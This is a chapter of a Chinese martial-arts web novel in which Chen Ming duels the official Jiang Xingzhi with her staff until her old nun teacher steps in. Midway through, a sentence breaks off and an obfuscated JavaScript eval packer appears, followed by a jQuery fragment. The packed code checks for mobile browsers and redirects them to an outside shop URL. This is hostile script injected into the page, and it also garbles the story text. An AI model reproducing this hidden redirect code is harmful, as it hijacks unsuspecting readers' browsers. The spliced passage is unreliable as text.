陈茗站在那里,看着白发苍苍的老尼姑和年轻冷峻的江行之隔着雾气对视,恍然惊觉,她的师父就是长公主的侍女!
那个在风月司成立十六年后“乘船海外、寻觅仙踪”的长公主替身,在众人以为她消失于海天之际时,隐姓埋名去了金陵,在栖霞寺后面的一座小庵堂里煮茶、练棍、晒太阳、看竹叶落了一地又一地。
她活成了自己的样子。在一个没有人认识她的地方,用一根竹杖渡过了后半生,而在关键的时刻拄着一根竹杖出现了。
老尼姑把目光从江行之身上移开,转向孟观澜。她的视线在孟观澜握剑的手上停了一瞬,终于落在陈茗脸上。
“丫头,”她的声音比方才温和了许多,“这些年,你长大了。”
曲流的棍身在晨光中划出一道暗色的弧线,棍尖擦过江行之的肩甲,溅起一串火星。
陈茗没有给江行之说出下一句话的机会说。老尼姑出现的那一刻,她看见江行之的视线有了一瞬间的偏移,那双始终沉静的眼睛里裂开了一道极细的缝——她抓住了那道缝!
曲流从腰间弹开的瞬间,长棍带着风声劈向江行之的颈侧,棍势凌厉,三分力留着七分后手,是当年在栖霞寺后面的竹林里,老尼姑按着她的手一遍一遍纠正过的出棍节奏。
江行之侧身避开了。他的动作比陈茗预想的要快,玄色大氅在晨风里翻卷了一下,像一片被风吹开的乌云。他退开两步,右手按上了剑柄,但并没有立刻拔出。那双眼睛重新落回她脸上,刚才那一瞬间的偏移早已经消失不见了。
“天河棍。”江行之道,声音里带着一丝极淡的意外,“第三式比一般棍法不同,起势低了半寸,收势快了三分,好招式。”
从前陈茗对于这位深受皇帝和九华公主信任的名臣之能只是有个模糊的概念,然而一语就能点破世人并不常用的棍法招式的奥秘着实令人惊讶。这相当于从理论上直接破了这招。
陈茗把曲流横在身前,重新调整了重心。棍身微微斜指向地面,摆了一个随时可以出棍的角度,也是一个随时可以后退的角度。
此刻她握着曲流,虎口微微发麻,掌心微松,指腹贴着棍身,能感受到木纹在晨光中传来的微微的温度。她知道自己早就和当年不一样了。
江行之微微侧过头,朝身后的甲士们抬了一下手,示意所有人停住。甲士们的阵列顿了顿,铁靴没有再往前推。
“妙心师太,还不打算出手吗?”江行之视线越过陈茗的肩头,落在老尼姑身上。那个白发苍苍的老人依旧拄着竹杖站在陶窑废墟的边缘,晨风把她的僧袍吹得微微浮动,像一株被风吹了很多年的、根却扎得很深的树。
“师父。”陈茗也朝身后喊了一声,喊救命不丢人。
老尼姑微微抬了一下竹杖,杖尖在晨光中点了一下地面:“再来一遍。”
陈茗重新将曲流立起。这一次她没有等江行之先动。她的身体先于意识先做出了反应,左脚向前迈出半步,长棍从下往上挑起,棍尖直指江行之的下颌。这一招是逆流而上的变式,快、准、短,没有任何多余的动作。
江行之拔剑,剑出鞘的声音极轻,随后剑身和棍尖撞在了一起,金属与木料相击,发出沉闷的一声。陈茗感觉到一股力道从棍身传回来,沿着虎口一路震到小臂,酸麻感从手腕蔓延到肘弯。江行之的力量比她想象的要沉,那些她以为已经退下的药效在这一刻被重新唤醒了。
她借势后退了半步,把曲流从剑身上滑开,棍身在空中画了一道弧,从侧面扫向江行之的腰际。他侧身避开,剑尖向下一点,剑锋擦着棍身的螺纹滑过,带出一串极细的火星。那螺纹是陆臻刻上去的,每一道纹路的间距都精确到毫厘,为的是让棍身在受力时能更好地分散冲击。此刻那些螺纹在剑锋的摩擦下微微发烫,每一道纹路都在替她承担着那一剑的力量。
两人交换了三招。陈茗的呼吸比平时快了一些,胸口微微起伏。她的左臂有些发软,是安神散残留的药效在作祟,每一次出棍都比平时需要多借腰腹的力量才能稳住重心。
反观江行之站在原地几乎没怎么移动,他的剑始终没有完全出鞘,只露了半截剑身,他并不急于结束什么。
身后传来谢倦的声音,然后一只瓷碗飞过陈茗耳侧,带着风声砸向江行之脚边的地面。碗落在地上发出一声脆响,碎成三四片。江行之的视线被那只空碗吸引了不到一息,但已经够了,陈茗的棍即刻便到。
曲流的棍尖点在江行之的剑锷上,力道不大,胜在精准。剑锷被这一撞微微偏了半寸,江行之的防御姿态露出了一个极窄的缺口。陈茗没有贪功,棍身一旋,从正面改刺为扫,扫向他的膝弯。这一招是霍师父教的,刚猛直接,一棍下去碎石裂碑的架势。
江行之侧身避开膝弯的一扫,终于把剑彻底拔了出来。剑身在晨光中亮得像一捧水,剑尖转过一个极小的弧度,剑尖微微下沉,指向地面,开口却向谢倦:“谢家小子,你腰间的刀难道是摆设?”
谢倦靠在陶窑的半截断墙上,左臂的烧伤让他整个人的姿势都有些不对劲,但他右手已经握住了短匕的柄。陈茗从权晚手里接过后将它交给谢倦保管。
听见江行之这句话,他笑了一下,笑得和平时一模一样,懒洋洋的,甚至让人恨不得揍他一拳:“江大人看出来了?我只会削果子。打架这种事,还是交给我们陈二姑娘比较合适。”
他说着把短匕拔了出来,刀刃有一指宽,刃口泛着冷光,确实像是用来削果子的薄刃。但他握刀并不似要削皮,拇指抵在刀柄末端,腕部微微下压,是一个很适合投掷的角度。
陆臻的声音已经被铁匣代替了。三声极细的破空声几乎同时响起,三枚淬了麻药的钢针从匣□□出,呈品字形分别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791551|204900||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
飞向江行之的肩头、手腕和腰侧。江行之抬剑格开了两枚,第三枚擦着他的袖口飞过,钉在身后的陶窑砖墙上,尾羽还在微微颤动。
“好快的出手。”陆臻心中大惊。
陆臻不会武功很大的问题并不是不能打架,而是没办法轻易判断对手的深浅。
钢针露了一手,甲士们的阵列立刻收紧了,铁甲碰撞的声音从四面合拢。陈茗的余光扫见那些甲士的手已经按在了刀柄上,只等一声令下。
江行之抬手示意了一下,那个手势和方才一样,克制、从容。甲士们于是停住了动作,但也只是停住了而已。阵列没有后退,刀柄上的手也握得比方才更紧。
一支竹杖从斜后方伸了出来,杖尖点在江行之的剑身上,刚好让剑身偏了半寸,刚好让他的剑尖从陈茗面前的范围内移开。老尼姑不知道什么时候已经走到了近前,灰白的僧袍下摆沾着野草的露水和陶窑的灰烬,身形瘦小佝偻,手却紧握着竹杖。
“行了。”尼姑说,声音不高不低,听不出对陈茗的满意与否,“你打不过他的。他练了十八年的剑,你才练了五年棍。还没到能赢的时候。”
陈茗握着曲流的手没有松开,但她知道老尼姑说得对,那种感觉——每一次和江行之的剑碰撞,棍身上传回来的力道都在告诉她,对方还有余力。他在放水,每一招都在放水。
他没有真正想伤她,他只是想让她停下来,让她退开。
老尼姑转向江行之,竹杖从剑身上抬起来,缓缓收回到她身侧:“关于徐瑕,关于我和长公主,你查了那么久能怎么样呢,查到最后发现你没办法用你查到的那些东西去换一个公道,因为你查到的每一件东西都连着另一件东西,每一件都牵着一串人,每一串人里都有不该被牵出来的人。风月司有它存在的必要,但有时候又毫无必要,有些真相,未必那么重要。”
苍老的脸上有一丝无奈:“所以你选了把真相和谎言一起烧光。你带兵围城,皇宫里让孟昂动手,你把火烧到不夜城——除了烧掉它,你想不出别的办法。”
天快亮了。
江行之站在晨雾里,玄色大氅的下摆被风吹得微微拂动。他看了老尼姑很久,晨雾在他和她之间重新聚拢又散开:“那你告诉我,还有什么办法。”
这句话说完,陈茗看见他的剑尖终于完全垂向了地面。他站在这片被灰烬笼罩的野地里,身后是正在燃烧的京城,像一个人终于走到了路的尽头,发现前面不是他以为的海,而是一面墙。
老尼姑回过头来看了陈茗一眼。那双苍老的、被岁月一层一层洗过的眼睛里,有一丝极淡的笑意。
“丫头,”她说,“现在就是那一天了,你冲吧。”
这一晚上,陈茗真的已经足够疲惫。仓皇、踉跄、看着权晚和管天地葬身火海,却来不及停歇。
陈茗的眼泪终于落了下来。